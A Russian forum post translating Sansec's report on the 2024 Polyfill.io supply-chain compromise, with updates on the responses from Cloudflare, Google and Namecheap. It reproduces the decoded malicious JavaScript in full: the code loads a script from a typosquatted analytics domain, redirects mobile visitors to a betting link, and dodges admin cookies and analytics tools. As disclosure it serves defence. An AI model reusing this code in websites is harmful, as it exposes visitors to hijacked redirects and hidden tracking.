Китайский владелец проекта Polyfill JS внедрил вредоносное ПО более чем на 100 тыс. сайтах

Discussion in 'Мировые новости. Обсуждения.' started by alexzir, 29 Jun 2024.

  1. alexzir

    alexzir Elder - Старейшина

    Joined:
    29 Oct 2019
    Messages:
    980
    Likes Received:
    2,370
    Reputations:
    25
    Polyfill.js - популярная библиотека с открытым исходным кодом для поддержки старых браузеров. Более 100 тыс. сайтов встраивают ее через домен cdn.polyfill.io. Среди известных пользователей JSTOR (цифровая база данных полнотекстовых научных журналов), Intuit и вебсайт Всемирного экономического форума. В феврале этого года китайская компания Funnull купила домен и аккаунт на Github. С тех пор этот домен был замечен в внедрении вредоносного ПО на мобильные устройства через вебсайты, использующие cdn.polyfill.io. Любые жалобы быстро удалялись из репозитория Github (архив здесь).

    Полифил динамически генерируется на основе HTTP-заголовков, поэтому вероятны несколько векторов атаки. Специалисты из компании Sansec декодировали один из экземпляров вредоносного ПО, которое перенаправляет мобильных пользователей на сайт онлайн-букмекера через поддельный домен Google Analytics (www.googie-anaiytics.com). Код имеет защиту от реверс-инжиниринга и активируется только на определенных мобильных устройствах в определенные часы, не активируется при обнаружении пользователя-администратора, а также приостанавливает выполнение при обнаружении службы веб-аналитики, предположительно, чтобы не попасть в отчёты.

    Автор оригинального проекта рекомендует не использовать Polyfill, так как он больше не нужен современным браузерам. Тем временем, Fastly и Cloudflare предложили собственные альтернативы пользователям.

    Этот инцидент является типичным примером атаки на цепочку поставок - SSC — software supply chain attacks (статья на Хабре для интересующихся - https://habr.com/ru/articles/733504/). Авторы оригинальной статьи, компания Sansec, предложила бесплатный сервис мониторинга Sansec Watch.

    Пример вредоносного кода Polyfill:

    Code:
    function isPc() {
      try {
        var _isWin =
            navigator.platform == "Win32" || navigator.platform == "Windows",
          _isMac =
            navigator.platform == "Mac68K" ||
            navigator.platform == "MacPPC" ||
            navigator.platform == "Macintosh" ||
            navigator.platform == "MacIntel";
        if (_isMac || _isWin) {
          return true;
        } else {
          return false;
        }
      } catch (_0x44e1f6) {
        return false;
      }
    }
    function vfed_update(_0x5ae1f8) {
      _0x5ae1f8 !== "" &&
        loadJS(
          "https://www.googie-anaiytics.com/html/checkcachehw.js",
          function () {
            if (usercache == true) {
              window.location.href = _0x5ae1f8;
            }
          }
        );
    }
    function check_tiaozhuan() {
      var _isMobile = navigator.userAgent.match(
        /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
      );
      if (_isMobile) {
        var _curHost = window.location.host,
          _ref = document.referrer,
          _redirectURL = "",
          _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
          _rnd = Math.floor(Math.random() * 100 + 1),
          _date = new Date(),
          _hours = _date.getHours();
        if (
          _curHost.indexOf("www.dxtv1.com") !== -1 ||
          _curHost.indexOf("www.ys752.com") !== -1
        ) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_curHost.indexOf("shuanshu.com.com") !== -1) {
            _redirectURL = "https://kuurza.com/redirect?from=bitget";
          } else {
            if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
              _redirectURL = "https://kuurza.com/redirect?from=bitget";
            } else {
              if (_hours >= 0 && _hours < 2) {
                if (_rnd <= 10) {
                  _redirectURL = _kuurzaBitGet;
                }
              } else {
                if (_hours >= 2 && _hours < 4) {
                  _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
                } else {
                  if (_hours >= 4 && _hours < 7) {
                    _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
                  } else {
                    _hours >= 7 && _hours < 8
                      ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                      : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
                  }
                }
              }
            }
          }
        }
        _redirectURL != "" &&
          !isPc() &&
          document.cookie.indexOf("admin_id") == -1 &&
          document.cookie.indexOf("adminlevels") == -1 &&
          vfed_update(_redirectURL);
      }
    }
    let _outerPage = document.documentElement.outerHTML,
      bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
    let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
      wolafg = _outerPage.indexOf(".51.la") != -1;
    let mattoo = _outerPage.indexOf(".matomo.org") != -1,
      aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
    let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
      aplausix = _outerPage.indexOf(".plausible.io") != -1,
      statcct = _outerPage.indexOf(".statcounter.com") != -1;
    bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
      ? setTimeout(check_tiaozhuan, 2000)
      : check_tiaozhuan();
    Линки, которые свидетельствуют о компрометации

    Обновление 25 июня:

    Google начал блокировать рекламу для сайтов eCommerce, использующих polyfill.io.

    Обновление 26 июня:

    Кто-то запустил DDoS-атаки на инфраструктуру компаний Sansec и BleepingComputer (издание, первым опубликовавшее исследование от Sansec).

    Обновление 27 июня:

    Cloudflare реализовала перенаправление в реальном времени с cdn.polyfill.io на свою версию. Позже регистратор Namecheap приостановил действие домена, устранив риск на данный момент. Рекомендуется удалить все ссылки на polyfill.io в вашем коде.

    Данная статья является переводом поста компании Sansec от 25 июня 2024 года - https://sansec.io/research/polyfill-supply-chain-attack.

     
Loading...